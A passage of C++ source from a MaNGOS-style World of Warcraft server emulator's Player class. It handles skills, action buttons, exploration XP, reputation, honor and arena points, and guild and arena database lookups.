SkillLineEntry const *pSkill = sSkillLineStore.LookupEntry(id);
if(!pSkill)
{
sLog.outError("Skill not found in SkillLineStore: skill #%u", id);
return;
}
SetUInt32Value(PLAYER_SKILL_INDEX(i), MAKE_PAIR32(id, step));
SetUInt32Value(PLAYER_SKILL_VALUE_INDEX(i),MAKE_SKILL_VALUE(currVal, maxVal));
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_SKILL_LEVEL, id);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_LEARN_SKILL_LEVEL, id);
// insert new entry or update if not deleted old entry yet
if (itr != mSkillStatus.end())
{
itr->second.pos = i;
itr->second.uState = SKILL_CHANGED;
}
else
mSkillStatus.insert(SkillStatusMap::value_type(id, SkillStatusData(i, SKILL_NEW)));
// apply skill bonuses
SetUInt32Value(PLAYER_SKILL_BONUS_INDEX(i), 0);
// temporary bonuses
AuraList const& mModSkill = GetAurasByType(SPELL_AURA_MOD_SKILL);
for(AuraList::const_iterator j = mModSkill.begin(); j != mModSkill.end(); ++j)
if ((*j)->GetModifier()->m_miscvalue == int32(id))
(*j)->ApplyModifier(true);
// permanent bonuses
AuraList const& mModSkillTalent = GetAurasByType(SPELL_AURA_MOD_SKILL_TALENT);
for(AuraList::const_iterator j = mModSkillTalent.begin(); j != mModSkillTalent.end(); ++j)
if ((*j)->GetModifier()->m_miscvalue == int32(id))
(*j)->ApplyModifier(true);
// Learn all spells for skill
learnSkillRewardedSpells(id, currVal);
return;
}
}
}
}
bool Player::HasSkill(uint32 skill) const
{
if(!skill)
return false;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
return (itr != mSkillStatus.end() && itr->second.uState != SKILL_DELETED);
}
uint16 Player::GetSkillValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
uint32 bonus = GetUInt32Value(PLAYER_SKILL_BONUS_INDEX(itr->second.pos));
int32 result = int32(SKILL_VALUE(GetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos))));
result += SKILL_TEMP_BONUS(bonus);
result += SKILL_PERM_BONUS(bonus);
return result < 0 ? 0 : result;
}
uint16 Player::GetMaxSkillValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
uint32 bonus = GetUInt32Value(PLAYER_SKILL_BONUS_INDEX(itr->second.pos));
int32 result = int32(SKILL_MAX(GetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos))));
result += SKILL_TEMP_BONUS(bonus);
result += SKILL_PERM_BONUS(bonus);
return result < 0 ? 0 : result;
}
uint16 Player::GetPureMaxSkillValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
return SKILL_MAX(GetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos)));
}
uint16 Player::GetBaseSkillValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
int32 result = int32(SKILL_VALUE(GetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos))));
result += SKILL_PERM_BONUS(GetUInt32Value(PLAYER_SKILL_BONUS_INDEX(itr->second.pos)));
return result < 0 ? 0 : result;
}
uint16 Player::GetPureSkillValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
return SKILL_VALUE(GetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos)));
}
int16 Player::GetSkillPermBonusValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
return SKILL_PERM_BONUS(GetUInt32Value(PLAYER_SKILL_BONUS_INDEX(itr->second.pos)));
}
int16 Player::GetSkillTempBonusValue(uint32 skill) const
{
if(!skill)
return 0;
SkillStatusMap::const_iterator itr = mSkillStatus.find(skill);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return 0;
return SKILL_TEMP_BONUS(GetUInt32Value(PLAYER_SKILL_BONUS_INDEX(itr->second.pos)));
}
void Player::SendActionButtons(uint32 state) const
{
DETAIL_LOG( "Initializing Action Buttons for '%u' spec '%u'", GetGUIDLow(), m_activeSpec);
WorldPacket data(SMSG_ACTION_BUTTONS, 1+(MAX_ACTION_BUTTONS*4));
data << uint8(state);
/*
state can be 0, 1, 2
0 - Looks to be sent when initial action buttons get sent, however on Trinity we use 1 since 0 had some difficulties
1 - Used in any SMSG_ACTION_BUTTONS packet with button data on Trinity. Only used after spec swaps on retail.
2 - Clears the action bars client sided. This is sent during spec swap before unlearning and before sending the new buttons
*/
if (state != 2)
{
ActionButtonList const& currentActionButtonList = m_actionButtons[m_activeSpec];
for(uint8 button = 0; button < MAX_ACTION_BUTTONS; ++button)
{
ActionButtonList::const_iterator itr = currentActionButtonList.find(button);
if (itr != currentActionButtonList.end() && itr->second.uState != ACTIONBUTTON_DELETED)
data << uint32(itr->second.packedData);
else
data << uint32(0);
}
}
GetSession()->SendPacket( &data );
DETAIL_LOG( "Action Buttons for '%u' spec '%u' Initialized", GetGUIDLow(), m_activeSpec );
}
void Player::SendLockActionButtons() const
{
DETAIL_LOG( "Locking Action Buttons for '%u' spec '%u'", GetGUIDLow(), m_activeSpec);
WorldPacket data(SMSG_ACTION_BUTTONS, 1);
// sending 2 locks actions bars, neither user can remove buttons, nor client removes buttons at spell unlearn
// they remain locked until server sends new action buttons
data << uint8(2);
GetSession()->SendPacket( &data );
}
bool Player::IsActionButtonDataValid(uint8 button, uint32 action, uint8 type, Player* player, bool msg)
{
if (button >= MAX_ACTION_BUTTONS)
{
if (msg)
{
if (player)
sLog.outError( "Action %u not added into button %u for player %s: button must be < %u", action, button, player->GetName(), MAX_ACTION_BUTTONS );
else
sLog.outError( "Table `playercreateinfo_action` have action %u into button %u : button must be < %u", action, button, MAX_ACTION_BUTTONS );
}
return false;
}
if (action >= MAX_ACTION_BUTTON_ACTION_VALUE)
{
if (msg)
{
if (player)
sLog.outError( "Action %u not added into button %u for player %s: action must be < %u", action, button, player->GetName(), MAX_ACTION_BUTTON_ACTION_VALUE );
else
sLog.outError( "Table `playercreateinfo_action` have action %u into button %u : action must be < %u", action, button, MAX_ACTION_BUTTON_ACTION_VALUE );
}
return false;
}
switch(type)
{
case ACTION_BUTTON_SPELL:
{
SpellEntry const* spellProto = sSpellStore.LookupEntry(action);
if(!spellProto)
{
if (msg)
{
if (player)
sLog.outError( "Spell action %u not added into button %u for player %s: spell not exist", action, button, player->GetName() );
else
sLog.outError( "Table `playercreateinfo_action` have spell action %u into button %u: spell not exist", action, button );
}
return false;
}
if (player)
{
if(!player->HasSpell(spellProto->Id))
{
if (msg)
sLog.outError( "Spell action %u not added into button %u for player %s: player don't known this spell", action, button, player->GetName() );
return false;
}
else if (IsPassiveSpell(spellProto))
{
if (msg)
sLog.outError( "Spell action %u not added into button %u for player %s: spell is passive", action, button, player->GetName() );
return false;
}
// current range for button of totem bar is from ACTION_BUTTON_SHAMAN_TOTEMS_BAR to (but not including) ACTION_BUTTON_SHAMAN_TOTEMS_BAR + 12
else if (button >= ACTION_BUTTON_SHAMAN_TOTEMS_BAR && button < (ACTION_BUTTON_SHAMAN_TOTEMS_BAR + 12)
&& !(spellProto->AttributesEx7 & SPELL_ATTR_EX7_TOTEM_SPELL))
{
if (msg)
sLog.outError( "Spell action %u not added into button %u for player %s: attempt to add non totem spell to totem bar", action, button, player->GetName() );
return false;
}
}
break;
}
case ACTION_BUTTON_ITEM:
{
if(!ObjectMgr::GetItemPrototype(action))
{
if (msg)
{
if (player)
sLog.outError( "Item action %u not added into button %u for player %s: item not exist", action, button, player->GetName() );
else
sLog.outError( "Table `playercreateinfo_action` have item action %u into button %u: item not exist", action, button );
}
return false;
}
break;
}
default:
break; // other cases not checked at this moment
}
return true;
}
ActionButton* Player::addActionButton(uint8 spec, uint8 button, uint32 action, uint8 type)
{
// check action only for active spec (so not check at copy/load passive spec)
if (spec == GetActiveSpec() && !IsActionButtonDataValid(button,action,type,this))
return NULL;
// it create new button (NEW state) if need or return existing
ActionButton& ab = m_actionButtons[spec][button];
// set data and update to CHANGED if not NEW
ab.SetActionAndType(action,ActionButtonType(type));
DETAIL_LOG("Player '%u' Added Action '%u' (type %u) to Button '%u' for spec %u", GetGUIDLow(), action, uint32(type), button, spec);
return &ab;
}
void Player::removeActionButton(uint8 spec, uint8 button)
{
ActionButtonList& currentActionButtonList = m_actionButtons[spec];
ActionButtonList::iterator buttonItr = currentActionButtonList.find(button);
if (buttonItr == currentActionButtonList.end() || buttonItr->second.uState == ACTIONBUTTON_DELETED)
return;
if (buttonItr->second.uState == ACTIONBUTTON_NEW)
currentActionButtonList.erase(buttonItr); // new and not saved
else
buttonItr->second.uState = ACTIONBUTTON_DELETED; // saved, will deleted at next save
DETAIL_LOG("Action Button '%u' Removed from Player '%u' for spec %u", button, GetGUIDLow(), spec);
}
ActionButton const* Player::GetActionButton(uint8 button)
{
ActionButtonList& currentActionButtonList = m_actionButtons[m_activeSpec];
ActionButtonList::iterator buttonItr = currentActionButtonList.find(button);
if (buttonItr==currentActionButtonList.end() || buttonItr->second.uState == ACTIONBUTTON_DELETED)
return NULL;
return &buttonItr->second;
}
bool Player::SetPosition(float x, float y, float z, float orientation, bool teleport)
{
if (!Unit::SetPosition(x, y, z, orientation, teleport))
return false;
// group update
if (GetGroup())
SetGroupUpdateFlag(GROUP_UPDATE_FLAG_POSITION);
if (GetTrader() && !IsWithinDistInMap(GetTrader(), INTERACTION_DISTANCE))
GetSession()->SendCancelTrade(); // will close both side trade windows
// code block for underwater state update
UpdateUnderwaterState(GetMap(), x, y, z);
CheckAreaExploreAndOutdoor();
return true;
}
void Player::SaveRecallPosition()
{
m_recallMap = GetMapId();
m_recallX = GetPositionX();
m_recallY = GetPositionY();
m_recallZ = GetPositionZ();
m_recallO = GetOrientation();
}
void Player::SendMessageToSet(WorldPacket *data, bool self)
{
if (IsInWorld())
GetMap()->MessageBroadcast(this, data, false);
//if player is not in world and map in not created/already destroyed
//no need to create one, just send packet for itself!
if (self)
GetSession()->SendPacket(data);
}
void Player::SendMessageToSetInRange(WorldPacket *data, float dist, bool self)
{
if (IsInWorld())
GetMap()->MessageDistBroadcast(this, data, dist, false);
if (self)
GetSession()->SendPacket(data);
}
void Player::SendMessageToSetInRange(WorldPacket *data, float dist, bool self, bool own_team_only)
{
if (IsInWorld())
GetMap()->MessageDistBroadcast(this, data, dist, false, own_team_only);
if (self)
GetSession()->SendPacket(data);
}
void Player::SendDirectMessage(WorldPacket *data)
{
GetSession()->SendPacket(data);
}
void Player::SendCinematicStart(uint32 CinematicSequenceId)
{
WorldPacket data(SMSG_TRIGGER_CINEMATIC, 4);
data << uint32(CinematicSequenceId);
SendDirectMessage(&data);
}
void Player::SendMovieStart(uint32 MovieId)
{
WorldPacket data(SMSG_TRIGGER_MOVIE, 4);
data << uint32(MovieId);
SendDirectMessage(&data);
}
void Player::CheckAreaExploreAndOutdoor()
{
if (!isAlive())
return;
if (IsTaxiFlying() || !GetMap())
return;
bool isOutdoor;
uint16 areaFlag = GetTerrain()->GetAreaFlag(GetPositionX(),GetPositionY(),GetPositionZ(), &isOutdoor);
if (isOutdoor)
{
if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_RESTING) && GetRestType() == REST_TYPE_IN_TAVERN)
{
AreaTriggerEntry const* at = sAreaTriggerStore.LookupEntry(inn_trigger_id);
if (!at || !IsPointInAreaTriggerZone(at, GetMapId(), GetPositionX(), GetPositionY(), GetPositionZ()))
{
// Player left inn (REST_TYPE_IN_CITY overrides REST_TYPE_IN_TAVERN, so just clear rest)
SetRestType(REST_TYPE_NO);
}
}
}
else if (sWorld.getConfig(CONFIG_BOOL_VMAP_INDOOR_CHECK) && !isGameMaster())
RemoveAurasWithAttribute(SPELL_ATTR_OUTDOORS_ONLY);
if (areaFlag==0xffff)
return;
int offset = areaFlag / 32;
if (offset >= PLAYER_EXPLORED_ZONES_SIZE)
{
sLog.outError("Wrong area flag %u in map data for (X: %f Y: %f) point to field PLAYER_EXPLORED_ZONES_1 + %u ( %u must be < %u ).",areaFlag,GetPositionX(),GetPositionY(),offset,offset, PLAYER_EXPLORED_ZONES_SIZE);
return;
}
uint32 val = (uint32)(1 << (areaFlag % 32));
uint32 currFields = GetUInt32Value(PLAYER_EXPLORED_ZONES_1 + offset);
if (!(currFields & val))
{
SetUInt32Value(PLAYER_EXPLORED_ZONES_1 + offset, (uint32)(currFields | val));
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_EXPLORE_AREA);
AreaTableEntry const *p = GetAreaEntryByAreaFlagAndMap(areaFlag,GetMapId());
if(!p)
{
sLog.outError("PLAYER: Player %u discovered unknown area (x: %f y: %f map: %u", GetGUIDLow(), GetPositionX(),GetPositionY(),GetMapId());
}
else if (p->area_level > 0)
{
uint32 area = p->ID;
if (getLevel() >= sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL))
{
SendExplorationExperience(area,0);
}
else
{
int32 diff = int32(getLevel()) - p->area_level;
uint32 XP = 0;
if (diff < -5)
{
XP = uint32(sObjectMgr.GetBaseXP(getLevel()+5)*sWorld.getConfig(CONFIG_FLOAT_RATE_XP_EXPLORE));
}
else if (diff > 5)
{
int32 exploration_percent = (100-((diff-5)*5));
if (exploration_percent > 100)
exploration_percent = 100;
else if (exploration_percent < 0)
exploration_percent = 0;
XP = uint32(sObjectMgr.GetBaseXP(p->area_level)*exploration_percent/100*sWorld.getConfig(CONFIG_FLOAT_RATE_XP_EXPLORE));
}
else
{
XP = uint32(sObjectMgr.GetBaseXP(p->area_level)*sWorld.getConfig(CONFIG_FLOAT_RATE_XP_EXPLORE));
}
XP = uint32(XP * (GetSession()->IsPremium() + 1));
GiveXP( XP, NULL );
SendExplorationExperience(area,XP);
}
DETAIL_LOG("PLAYER: Player %u discovered a new area: %u", GetGUIDLow(), area);
}
}
}
Team Player::TeamForRace(uint8 race)
{
ChrRacesEntry const* rEntry = sChrRacesStore.LookupEntry(race);
if (!rEntry)
{
sLog.outError("Race %u not found in DBC: wrong DBC files?",uint32(race));
return ALLIANCE;
}
switch(rEntry->TeamID)
{
case 7: return ALLIANCE;
case 1: return HORDE;
}
sLog.outError("Race %u have wrong teamid %u in DBC: wrong DBC files?",uint32(race),rEntry->TeamID);
return TEAM_NONE;
}
uint32 Player::getFactionForRace(uint8 race)
{
ChrRacesEntry const* rEntry = sChrRacesStore.LookupEntry(race);
if(!rEntry)
{
sLog.outError("Race %u not found in DBC: wrong DBC files?",uint32(race));
return 0;
}
return rEntry->FactionID;
}
void Player::setFactionForRace(uint8 race)
{
m_team = TeamForRace(race);
setFaction(getFactionForRace(race));
}
ReputationRank Player::GetReputationRank(uint32 faction) const
{
FactionEntry const* factionEntry = sFactionStore.LookupEntry(faction);
return GetReputationMgr().GetRank(factionEntry);
}
//Calculate total reputation percent player gain with quest/creature level
int32 Player::CalculateReputationGain(ReputationSource source, int32 rep, int32 faction, uint32 creatureOrQuestLevel, bool noAuraBonus)
{
float percent = 100.0f;
float repMod = noAuraBonus ? 0.0f : (float)GetTotalAuraModifier(SPELL_AURA_MOD_REPUTATION_GAIN);
// faction specific auras only seem to apply to kills
if (source == REPUTATION_SOURCE_KILL)
repMod += GetTotalAuraModifierByMiscValue(SPELL_AURA_MOD_FACTION_REPUTATION_GAIN, faction);
percent += rep > 0 ? repMod : -repMod;
float rate;
switch (source)
{
case REPUTATION_SOURCE_KILL:
rate = sWorld.getConfig(CONFIG_FLOAT_RATE_REPUTATION_LOWLEVEL_KILL);
break;
case REPUTATION_SOURCE_QUEST:
rate = sWorld.getConfig(CONFIG_FLOAT_RATE_REPUTATION_LOWLEVEL_QUEST);
break;
case REPUTATION_SOURCE_SPELL:
default:
rate = 1.0f;
break;
}
if (rate != 1.0f && creatureOrQuestLevel <= MaNGOS::XP::GetGrayLevel(getLevel()))
percent *= rate;
if (percent <= 0.0f)
return 0;
// Multiply result with the faction specific rate
if (const RepRewardRate *repData = sObjectMgr.GetRepRewardRate(faction))
{
float repRate = 0.0f;
switch (source)
{
case REPUTATION_SOURCE_KILL:
repRate = repData->creature_rate;
break;
case REPUTATION_SOURCE_QUEST:
repRate = repData->quest_rate;
break;
case REPUTATION_SOURCE_SPELL:
repRate = repData->spell_rate;
break;
}
// for custom, a rate of 0.0 will totally disable reputation gain for this faction/type
if (repRate <= 0.0f)
return 0;
percent *= repRate;
}
if (CheckRAFConditions())
{
percent *= sWorld.getConfig(CONFIG_FLOAT_RATE_RAF_XP);
}
return int32(sWorld.getConfig(CONFIG_FLOAT_RATE_REPUTATION_GAIN)*rep*percent/100.0f);
}
//Calculates how many reputation points player gains in victim's enemy factions
void Player::RewardReputation(Unit *pVictim, float rate)
{
if(!pVictim || pVictim->GetTypeId() == TYPEID_PLAYER)
return;
// used current difficulty creature entry instead normal version (GetEntry())
ReputationOnKillEntry const* Rep = sObjectMgr.GetReputationOnKillEntry(((Creature*)pVictim)->GetCreatureInfo()->Entry);
if(!Rep)
return;
uint32 Repfaction1 = Rep->repfaction1;
uint32 Repfaction2 = Rep->repfaction2;
uint32 tabardFactionID = 0;
// Championning tabard reputation system
if (HasAura(Rep->championingAura))
{
if ( Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_TABARD ) )
{
if ( tabardFactionID = pItem->GetProto()->RequiredReputationFaction )
{
Repfaction1 = tabardFactionID;
Repfaction2 = tabardFactionID;
}
}
}
if (Repfaction1 && (!Rep->team_dependent || GetTeam()==ALLIANCE))
{
int32 donerep1 = CalculateReputationGain(REPUTATION_SOURCE_KILL, Rep->repvalue1, Repfaction1, pVictim->getLevel());
donerep1 = int32(donerep1*rate);
FactionEntry const *factionEntry1 = sFactionStore.LookupEntry(Repfaction1);
uint32 current_reputation_rank1 = GetReputationMgr().GetRank(factionEntry1);
if (factionEntry1 && current_reputation_rank1 <= Rep->reputation_max_cap1)
GetReputationMgr().ModifyReputation(factionEntry1, donerep1);
// Wiki: Team factions value divided by 2
if (factionEntry1 && Rep->is_teamaward1)
{
FactionEntry const *team1_factionEntry = sFactionStore.LookupEntry(factionEntry1->team);
if (team1_factionEntry)
GetReputationMgr().ModifyReputation(team1_factionEntry, donerep1 / 2);
}
}
if (Repfaction2 && (!Rep->team_dependent || GetTeam()==HORDE))
{
int32 donerep2 = CalculateReputationGain(REPUTATION_SOURCE_KILL, Rep->repvalue2, Repfaction2, pVictim->getLevel());
donerep2 = int32(donerep2*rate);
FactionEntry const *factionEntry2 = sFactionStore.LookupEntry(Repfaction2);
uint32 current_reputation_rank2 = GetReputationMgr().GetRank(factionEntry2);
if (factionEntry2 && current_reputation_rank2 <= Rep->reputation_max_cap2)
GetReputationMgr().ModifyReputation(factionEntry2, donerep2);
// Wiki: Team factions value divided by 2
if (factionEntry2 && Rep->is_teamaward2)
{
FactionEntry const *team2_factionEntry = sFactionStore.LookupEntry(factionEntry2->team);
if (team2_factionEntry)
GetReputationMgr().ModifyReputation(team2_factionEntry, donerep2 / 2);
}
}
}
//Calculate how many reputation points player gain with the quest
void Player::RewardReputation(Quest const *pQuest)
{
// quest reputation reward/loss
for(int i = 0; i < QUEST_REPUTATIONS_COUNT; ++i)
{
if (!pQuest->RewRepFaction[i])
continue;
// No diplomacy mod are applied to the final value (flat). Note the formula (finalValue = DBvalue/100)
if (pQuest->RewRepValue[i])
{
int32 rep = CalculateReputationGain(REPUTATION_SOURCE_QUEST, pQuest->RewRepValue[i]/100, pQuest->RewRepFaction[i], GetQuestLevelForPlayer(pQuest), true);
if (FactionEntry const* factionEntry = sFactionStore.LookupEntry(pQuest->RewRepFaction[i]))
GetReputationMgr().ModifyReputation(factionEntry, rep);
}
else
{
uint32 row = ((pQuest->RewRepValueId[i] < 0) ? 1 : 0) + 1;
uint32 field = abs(pQuest->RewRepValueId[i]);
if (const QuestFactionRewardEntry *pRow = sQuestFactionRewardStore.LookupEntry(row))
{
int32 repPoints = pRow->rewardValue[field];
if (!repPoints)
continue;
repPoints = CalculateReputationGain(REPUTATION_SOURCE_QUEST, repPoints, pQuest->RewRepFaction[i], GetQuestLevelForPlayer(pQuest));
if (const FactionEntry* factionEntry = sFactionStore.LookupEntry(pQuest->RewRepFaction[i]))
GetReputationMgr().ModifyReputation(factionEntry, repPoints);
}
}
}
// TODO: implement reputation spillover
}
void Player::UpdateArenaFields(void)
{
/* arena calcs go here */
}
void Player::UpdateHonorFields()
{
/// called when rewarding honor and at each save
time_t now = time(NULL);
time_t today = (time(NULL) / DAY) * DAY;
if (m_lastHonorUpdateTime < today)
{
time_t yesterday = today - DAY;
uint16 kills_today = PAIR32_LOPART(GetUInt32Value(PLAYER_FIELD_KILLS));
// update yesterday's contribution
if (m_lastHonorUpdateTime >= yesterday )
{
SetUInt32Value(PLAYER_FIELD_YESTERDAY_CONTRIBUTION, GetUInt32Value(PLAYER_FIELD_TODAY_CONTRIBUTION));
// this is the first update today, reset today's contribution
SetUInt32Value(PLAYER_FIELD_TODAY_CONTRIBUTION, 0);
SetUInt32Value(PLAYER_FIELD_KILLS, MAKE_PAIR32(0,kills_today));
}
else
{
// no honor/kills yesterday or today, reset
SetUInt32Value(PLAYER_FIELD_YESTERDAY_CONTRIBUTION, 0);
SetUInt32Value(PLAYER_FIELD_KILLS, 0);
}
}
m_lastHonorUpdateTime = now;
// START custom PvP Honor Kills Title System
if (sWorld.getConfig(CONFIG_BOOL_ALLOW_HONOR_KILLS_TITLES))
{
uint32 HonorKills = GetUInt32Value(PLAYER_FIELD_LIFETIME_HONORBALE_KILLS);
uint32 victim_rank = 0;
// lets check if player fits to title brackets (none of players reached by now 50k HK. this is bad condition in aspect
// of making code generic, but allows to save some CPU and avoid fourther steps execution
if (HonorKills < 100 || HonorKills > 50000)
return;
if (HonorKills >= 100 && HonorKills < 200)
victim_rank = 1;
else if (HonorKills >= 200 && HonorKills < 500)
victim_rank = 2;
else if (HonorKills >= 500 && HonorKills < 1000)
victim_rank = 3;
else if (HonorKills >= 1000 && HonorKills < 2100)
victim_rank = 4;
else if (HonorKills >= 2100 && HonorKills < 3200)
victim_rank = 5;
else if (HonorKills >= 3200 && HonorKills < 4300)
victim_rank = 6;
else if (HonorKills >= 4300 && HonorKills < 5400)
victim_rank = 7;
else if (HonorKills >= 5400 && HonorKills < 6500)
victim_rank = 8;
else if (HonorKills >= 6500 && HonorKills < 7600)
victim_rank = 9;
else if (HonorKills >= 7600 && HonorKills < 9000)
victim_rank = 10;
else if (HonorKills >= 9000 && HonorKills < 15000)
victim_rank = 11;
else if (HonorKills >= 15000 && HonorKills < 30000)
victim_rank = 12;
else if (HonorKills >= 30000 && HonorKills < 50000)
victim_rank = 13;
else if (HonorKills == 50000)
victim_rank = 14;
// horde titles starting from 15+
if (GetTeam() == HORDE)
victim_rank += 14;
if (CharTitlesEntry const* titleEntry = sCharTitlesStore.LookupEntry(victim_rank))
{
// if player does have title there is no need to update fourther
if (!HasTitle(titleEntry))
{
// lets remove all previous ranks
for (uint8 i = 1; i < 29; ++i)
{
if (CharTitlesEntry const* title = sCharTitlesStore.LookupEntry(i))
{
if (HasTitle(title))
SetTitle(title, true);
}
}
// finaly apply and set as active new title
SetTitle(titleEntry);
SetUInt32Value(PLAYER_CHOSEN_TITLE, victim_rank);
}
}
}
// END custom PvP Honor Kills Title System
}
///Calculate the amount of honor gained based on the victim
///and the size of the group for which the honor is divided
///An exact honor value can also be given (overriding the calcs)
bool Player::RewardHonor(Unit *uVictim, uint32 groupsize, float honor)
{
// do not reward honor in arenas, but enable onkill spellproc
if (InArena())
{
if (!uVictim || uVictim == this || uVictim->GetTypeId() != TYPEID_PLAYER)
return false;
if (GetBGTeam() == ((Player*)uVictim)->GetBGTeam())
return false;
return true;
}
// 'Inactive' this aura prevents the player from gaining honor points and battleground tokens
if (GetDummyAura(SPELL_AURA_PLAYER_INACTIVE))
return false;
ObjectGuid victim_guid;
uint32 victim_rank = 0;
// need call before fields update to have chance move yesterday data to appropriate fields before today data change.
UpdateHonorFields();
if (honor <= 0)
{
if (!uVictim || uVictim == this || uVictim->HasAuraType(SPELL_AURA_NO_PVP_CREDIT))
return false;
victim_guid = uVictim->GetObjectGuid();
if (uVictim->GetTypeId() == TYPEID_PLAYER)
{
Player *pVictim = (Player *)uVictim;
if (GetTeam() == pVictim->GetTeam() && !sWorld.IsFFAPvPRealm())
return false;
float f = 1; //need for total kills (?? need more info)
uint32 k_grey = 0;
uint32 k_level = getLevel();
uint32 v_level = pVictim->getLevel();
{
// PLAYER_CHOSEN_TITLE VALUES DESCRIPTION
// [0] Just name
// [1..14] Alliance honor titles and player name
// [15..28] Horde honor titles and player name
// [29..38] Other title and player name
// [39+] Nothing
uint32 victim_title = pVictim->GetUInt32Value(PLAYER_CHOSEN_TITLE);
// Get Killer titles, CharTitlesEntry::bit_index
// Ranks:
// title[1..14] -> rank[5..18]
// title[15..28] -> rank[5..18]
// title[other] -> 0
if (victim_title == 0)
victim_guid.Clear(); // Don't show HK: <rank> message, only log.
else if (victim_title < 15)
victim_rank = victim_title + 4;
else if (victim_title < 29)
victim_rank = victim_title - 14 + 4;
else
victim_guid.Clear(); // Don't show HK: <rank> message, only log.
}
k_grey = MaNGOS::XP::GetGrayLevel(k_level);
if (v_level<=k_grey)
return false;
float diff_level = (k_level == k_grey) ? 1 : ((float(v_level) - float(k_grey)) / (float(k_level) - float(k_grey)));
int32 v_rank =1; //need more info
honor = ((f * diff_level * (190 + v_rank*10))/6);
honor *= float(k_level) / 70.0f; //factor of dependence on levels of the killer
// count the number of playerkills in one day
ApplyModUInt32Value(PLAYER_FIELD_KILLS, 1, true);
// and those in a lifetime
ApplyModUInt32Value(PLAYER_FIELD_LIFETIME_HONORBALE_KILLS, 1, true);
UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_EARN_HONORABLE_KILL);
UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_HK_CLASS, pVictim->getClass());
UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_HK_RACE, pVictim->getRace());
}
else
{
Creature *cVictim = (Creature *)uVictim;
if (!cVictim->IsRacialLeader())
return false;
honor = 2000; // ??? need more info
victim_rank = 19; // HK: Leader
if (groupsize > 1)
honor *= groupsize;
}
}
if (uVictim != NULL)
{
honor *= sWorld.getConfig(CONFIG_FLOAT_RATE_HONOR);
honor *= (GetMaxPositiveAuraModifier(SPELL_AURA_MOD_HONOR_GAIN) + 100.0f)/100.0f;
if (groupsize > 1)
honor /= groupsize;
honor *= (((float)urand(8,12))/10); // approx honor: 80% - 120% of real honor
honor *= 2.0f; // as of 3.3.3 HK have had a 100% increase to honor
}
// honor - for show honor points in log
// victim_guid - for show victim name in log
// victim_rank [1..4] HK: <dishonored rank>
// victim_rank [5..19] HK: <alliance\horde rank>
// victim_rank [0,20+] HK: <>
WorldPacket data(SMSG_PVP_CREDIT, 4 + 8 + 4);
data << uint32(honor);
data << ObjectGuid(victim_guid);
data << uint32(victim_rank);
GetSession()->SendPacket(&data);
// add honor points
ModifyHonorPoints(int32(honor));
ApplyModUInt32Value(PLAYER_FIELD_TODAY_CONTRIBUTION, uint32(honor), true);
return true;
}
void Player::SetHonorPoints(uint32 value)
{
if (value > sWorld.getConfig(CONFIG_UINT32_MAX_HONOR_POINTS))
value = sWorld.getConfig(CONFIG_UINT32_MAX_HONOR_POINTS);
SetUInt32Value(PLAYER_FIELD_HONOR_CURRENCY, value);
}
void Player::SetArenaPoints(uint32 value)
{
if (value > sWorld.getConfig(CONFIG_UINT32_MAX_ARENA_POINTS))
value = sWorld.getConfig(CONFIG_UINT32_MAX_ARENA_POINTS);
SetUInt32Value(PLAYER_FIELD_ARENA_CURRENCY, value);
}
void Player::ModifyHonorPoints(int32 value)
{
int32 newValue = (int32)GetHonorPoints() + value;
if (newValue < 0)
newValue = 0;
SetHonorPoints(newValue);
}
void Player::ModifyArenaPoints(int32 value)
{
int32 newValue = (int32)GetArenaPoints() + value;
if (newValue < 0)
newValue = 0;
SetArenaPoints(newValue);
}
uint32 Player::GetGuildIdFromDB(ObjectGuid guid)
{
uint32 lowguid = guid.GetCounter();
QueryResult* result = CharacterDatabase.PQuery("SELECT guildid FROM guild_member WHERE guid='%u'", lowguid);
if (!result)
return 0;
uint32 id = result->Fetch()[0].GetUInt32();
delete result;
return id;
}
uint32 Player::GetRankFromDB(ObjectGuid guid)
{
QueryResult *result = CharacterDatabase.PQuery("SELECT rank FROM guild_member WHERE guid='%u'", guid.GetCounter());
if (result)
{
uint32 v = result->Fetch()[0].GetUInt32();
delete result;
return v;
}
else
return 0;
}
uint32 Player::GetArenaTeamIdFromDB(ObjectGuid guid, ArenaType type)
{
QueryResult *result = CharacterDatabase.PQuery("SELECT arena_team_member.arenateamid FROM arena_team_member JOIN arena_team ON arena_team_member.arenateamid = arena_team.arenateamid WHERE guid='%u' AND type='%u' LIMIT 1", guid.GetCounter(), type);
if (!result)
return 0;
uint32 id = (*result)[0].GetUInt32();
